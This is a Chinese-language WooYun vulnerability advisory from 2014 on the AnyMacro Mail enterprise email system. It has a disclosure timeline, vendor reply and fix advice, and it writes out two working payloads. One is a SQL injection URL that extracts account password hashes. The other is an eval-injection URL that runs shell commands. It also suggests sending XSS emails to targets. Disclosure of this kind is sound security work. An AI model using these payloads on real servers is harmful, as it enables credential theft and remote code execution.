漏洞概要 关注数(39) 关注此漏洞
缺陷编号: WooYun-2014-56478
漏洞标题: AnyMacro Mail安宁邮件系统之SQL注射+代码执行
相关厂商: 北京安宁创新网络科技有限公司
漏洞作者: YwiSax
提交时间: 2014-04-10 15:40
公开时间: 2014-07-09 15:40
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php源码审核 sql注射 代码执行 命令执行
漏洞详情
披露状态:
2014-04-10: 细节已通知厂商并且等待厂商处理中
2014-04-10: 厂商已经确认,细节仅向厂商公开
2014-04-13: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-06-04: 细节向核心白帽子及相关领域专家公开
2014-06-14: 细节向普通白帽子公开
2014-06-24: 细节向实习白帽子公开
2014-07-09: 细节向公众公开
简要描述:
anymacro是国内较流行的一家企业级邮箱系统,客户主要为教育/政府机构。
今发现该系统有安全问题,攻击者可以获取数据库中的账户信息和执行恶意的PHP代码。
受影响的版本很难描述,因为安宁官网也没给出准确的版本区分信息。猜测应该是http://www.anymacro.com/product/asterism.htm这个版本。
目测受影响的站有300+,多数是edu和gov。
详细说明:
如果描述中说的,不是所有版本都影响。
http://**.**.**.**/ 这样的版本受影响。
http://**.**.**.**/ 这样的版本不受影响。
1.SQL注射
share.php未进行授权检查,可以任意访问,同时其中的F_email参数未进行有效过滤。
URL:
http://**.**.**.**/share.php?F_email=admin@**.**.**.**%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+concat(id,0x20,maildir,0x20,crypt)+from+user+limit+0,1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wooyun
crypt字段保存用户密码,非明文,DES(Unix)/MD5(Unix)保存。
附上自己写的EXP:
有了上面获取的账户信息,下面就简单了。
该系统的开发人员对login.php和reg.php防范得比较紧,最近爆出的几个漏洞都很快修复了。不过登陆后才能访问的页面就没怎么进行修复,有N处注射/命令执行/代码执行。。。
如全局地址处:
http://**.**.**.**/address.php?F_sid=a4cc600bcc82432513f5753736715e87&F_Daddr=1&F_Dgdisplay=1&node=test%27]);echo%20%27%3Cpre%3E%27;echo%20`ls%20-l`;exit;%23
其中node参数未进行有效过滤,直接带入了eval中执行,导致可以执行任意PHP代码甚至系统命令。
还有很多处可利用,不过都需要登陆后才能利用。
最后,其实绕过这个登陆来getshell或者执行命令也是可以的,不过需要点时间。。。这个系统对XSS也没有有效过滤,也就是说,可以收集下目标的邮箱,然后发xss邮件给这些人,等xss触发。。。
漏洞证明:
修复方案:
1.做好授权验证
2.更加严格过滤用户提交的数据(GET/POST/Cookie等等)
3.如果可以的话,不用使用PHP的全局变量。如果早期的dz那样处理可能会比现在的更加好
4.不是代码加密了,就可以不做代码审查,尤其用的是开源的加密组件。开源给开发带来便利,也给攻击者带来便利。
版权声明:转载请注明来源 YwiSax@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:7
确认时间:2014-04-10 16:19
厂商回复:
此漏洞为我公司G6之前版本,现在用户正在逐步升级到我公司G7版本。
关于此版本漏洞我们会提供相应的升级
最新状态:
2014-05-06:现在存在此漏洞的用户基本升级完成
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值